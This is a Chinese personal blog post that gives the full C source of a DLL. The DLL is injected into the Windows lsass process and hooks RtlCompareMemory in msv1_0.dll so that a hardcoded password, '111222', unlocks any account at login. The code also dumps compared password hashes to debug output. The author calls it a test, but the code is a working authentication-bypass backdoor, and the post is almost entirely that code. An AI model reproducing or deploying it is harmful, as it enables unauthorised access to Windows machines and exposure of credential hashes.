注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

更新前年那个loginhook.dll  

2014-03-13 09:39:56|  分类: 一些练习 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

前年的那个测试loginhook.dll有错误,再关机的时候机器会蓝屏。

是因为里面FreeLibrary的原因,小改了一下。

测试用,注入到lsass进程,在一分钟内登录,输入111222即可登录。

// 测试用,注入到lsass进程,登录时输入111222即可登录
// 编译 cl /LD loginhook.c imagehlp.lib
#include <windows.h>
#include <imagehlp.h>
#include <stdio.h>

typedef int (WINAPI *PRtlCompareMemory)(void *a, void *b, int len);

PRtlCompareMemory pRtlCompareMemory;
BOOL ISHOOK=FALSE;
PULONG p;
HINSTANCE hDll;

BYTE PASSWD_HASH[]={0x65,0x44,0x49,0xe9,0xef,0x28,0xe1,0x49,0xe7,0xd6,0x35,0x20,0x4b,0xf5,0x2f,0xf4}; //111222
//BYTE PASSWD_HASH[]={0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0}; //(NULL)

void Output(char *fmt, ...)
{
   char Buff[1024];

   va_list arg_ptr;
   va_start(arg_ptr, fmt);
   vsprintf(Buff, fmt, arg_ptr);
   va_end(arg_ptr);
   OutputDebugString(Buff);
}

void Dump(unsigned char *s,int n) //输出二进制内容
{
 int i;
 char *p;
 char b[1024];

 OutputDebugString("===Begin Dump===\n");

 for (i=0,p=b;i<n;i++,p+=3 )
 {
  sprintf(p,"%02X ",*(s+i));
 }

 OutputDebugString(b);

 OutputDebugString("===End Dump===\n");
}

int WINAPI MyRtlCompareMemory(void *a, void *b, int len)
{
 if (len == 16) Dump(b,0x10);

 if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16)
 return 16;

 return pRtlCompareMemory(a, b, len);
}


//int main(int argc, char *argv[])
int hook(void)
{
 HINSTANCE msv1_0,ntdll;
 PBYTE Addr;
 PULONG iat;
 ULONG count;
 int i;
 DWORD flOldProtect;

 msv1_0=LoadLibrary("msv1_0.dll");
 //ntdll=LoadLibrary("ntdll.dll");
 ntdll=GetModuleHandle("ntdll.dll");
  if (msv1_0==NULL || ntdll==NULL)
  {
  Output("LoadLibrary Failed!\n");
  return 0;
  }

 Addr=(PBYTE)GetProcAddress(ntdll,"RtlCompareMemory");
 if (Addr==NULL) return 0;
 Output("ntdll!RtlCompareMemory=0x%08X\n",Addr);

 iat=(PULONG)ImageDirectoryEntryToData(msv1_0,TRUE,IMAGE_DIRECTORY_ENTRY_IAT,&count);
 if (iat==NULL) return 0;
 Output("msv1_0.dll IAT=0x%08X\n",iat);

 p=iat;
 for (i=0 ; ((PULONG)*p!=(PULONG)Addr) && (i<count/4) ; i++ )
 {
  p++;
 }

 if (i < count/4)
 {
  Output("Found **OLD** RtlCompareMemory in msv1_0.dll Addr=0x%08X Value=0x%08X\n",p,*p);
 }
 else
 {
  Output("Not Found!\n");
  return 0;
 }
 
 VirtualProtect((LPVOID)p,4,PAGE_READWRITE,&flOldProtect);
 pRtlCompareMemory = (PRtlCompareMemory)*p;
 (PRtlCompareMemory)*p = MyRtlCompareMemory;
 VirtualProtect((LPVOID)p,4,flOldProtect,&flOldProtect);

 ISHOOK=TRUE;
 
 Output("Found **NEW** RtlCompareMemory in msv1_0.dll Addr=0x%08X Value=0x%08X\n",p,*p);

 //FreeLibrary(msv1_0);
 //FreeLibrary(ntdll);

 return 0;
}

void unhook(void)
{
 DWORD flOldProtect;

 VirtualProtect((LPVOID)p,4,PAGE_READWRITE,&flOldProtect);
 (PRtlCompareMemory)*p=pRtlCompareMemory;
 VirtualProtect((LPVOID)p,4,flOldProtect,&flOldProtect);

 ISHOOK=FALSE;
}

DWORD WINAPI ClientThread(LPVOID lpParam)
{
 OutputDebugString("[*] Sleep 60s ...\n");
 Sleep(60000); // 测试用,1分钟内卸载,否则注入后卸载不掉!

 OutputDebugString("[*] FreeLibraryAndExitThread\n");
 FreeLibraryAndExitThread(hDll,0);
 return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad)
{
 HANDLE hThread;
 DWORD dwThreadId;

 hDll=hinstDll;

   if (fdwReason == DLL_PROCESS_ATTACH)
 {
  OutputDebugString("[*] 密码111222的hash:\n");
     Dump(PASSWD_HASH,0x10);
  if (!ISHOOK)
  {
   hook();

   hThread = CreateThread(NULL, 0, ClientThread, NULL, 0, &dwThreadId);
   if (hThread == NULL)
   {
    return TRUE;
   }
   CloseHandle(hThread);
  }


   }

   if (fdwReason == DLL_PROCESS_DETACH)
 {
  if (ISHOOK)
  {
   unhook();
  }
   }

   return(TRUE);
}

  评论这张
 
阅读(525)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017